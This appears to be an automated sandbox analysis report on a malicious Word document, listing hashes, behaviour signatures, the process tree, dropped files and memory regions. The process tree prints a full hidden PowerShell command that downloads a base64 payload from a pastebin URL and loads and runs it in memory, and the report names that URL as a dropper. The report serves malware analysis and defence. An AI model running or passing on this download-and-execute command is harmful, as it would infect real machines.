Analysis

  • max time kernel
    149s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 19:05

General

  • Target

    0949319f174a220b4e719715d9d5b20e.doc

  • Size

    781KB

  • MD5

    0949319f174a220b4e719715d9d5b20e

  • SHA1

    cdebf579f8f30226872d0b5bbeaeaa81877fe9c8

  • SHA256

    5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

  • SHA512

    9e5f5362ea147aa19ae6ebe74cbf037b2a295343f01cab5b1a44a076954abf3773d77e3fae26e0ebf488b1fde579e2178a75183b6a74a5acb669b4ed503d9632

  • SSDEEP

    6144:rcnOY442OGwG1e3MenWfLds5Gn/RQQDPzuUC3uJXfr2opd91pV0mccMRdWIb8haR:rvCG1PenjQzi5Wyk/yJY0F

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/pw1Ht9hR

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:752

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\36D600F9.emf

    Filesize

    47KB

    MD5

    f8c7ec6da57ae75490132ff35cef2247

    SHA1

    962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8

    SHA256

    849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb

    SHA512

    e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

  • C:\Users\Admin\AppData\Local\Temp\TCDF685.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebrcjf14.mb5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    16B

    MD5

    d29962abc88624befc0135579ae485ec

    SHA1

    e40a6458296ec6a2427bcb280572d023a9862b31

    SHA256

    a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

    SHA512

    4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    2KB

    MD5

    497b0888e3c5c07866e72a0525382c08

    SHA1

    20420ef3b0c052f9857442cea841f20271f2a36d

    SHA256

    cf5301fc6fdda22f0e1a96f331f67d763f78466b9f5592e5b7431e1ee3e02649

    SHA512

    805e5d37ee660b5b61329c3fe982b3442f1ffd19bfa775e90b5a653afa11e085c548fce0e49ced25683573df6945f056c8eb2ec700f3a62f8527b07c588430e5

  • memory/752-37-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/752-251-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/752-118-0x0000019C77FB0000-0x0000019C78026000-memory.dmp

    Filesize

    472KB

  • memory/752-54-0x0000019C77B80000-0x0000019C77BC4000-memory.dmp

    Filesize

    272KB

  • memory/752-44-0x0000019C77A00000-0x0000019C77A22000-memory.dmp

    Filesize

    136KB

  • memory/928-32-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-5-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-15-0x00007FF906BF0000-0x00007FF906C00000-memory.dmp

    Filesize

    64KB

  • memory/928-14-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-17-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-19-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-18-0x00007FF906BF0000-0x00007FF906C00000-memory.dmp

    Filesize

    64KB

  • memory/928-16-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-11-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-10-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-0-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-33-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-12-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-7-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-8-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-9-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-6-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-13-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-3-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-4-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-128-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-1-0x00007FF948DAD000-0x00007FF948DAE000-memory.dmp

    Filesize

    4KB

  • memory/928-246-0x00007FF948DAD000-0x00007FF948DAE000-memory.dmp

    Filesize

    4KB

  • memory/928-247-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-248-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-249-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-250-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-2-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB

  • memory/928-276-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-275-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-278-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-277-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

    Filesize

    64KB

  • memory/928-279-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

    Filesize

    2.0MB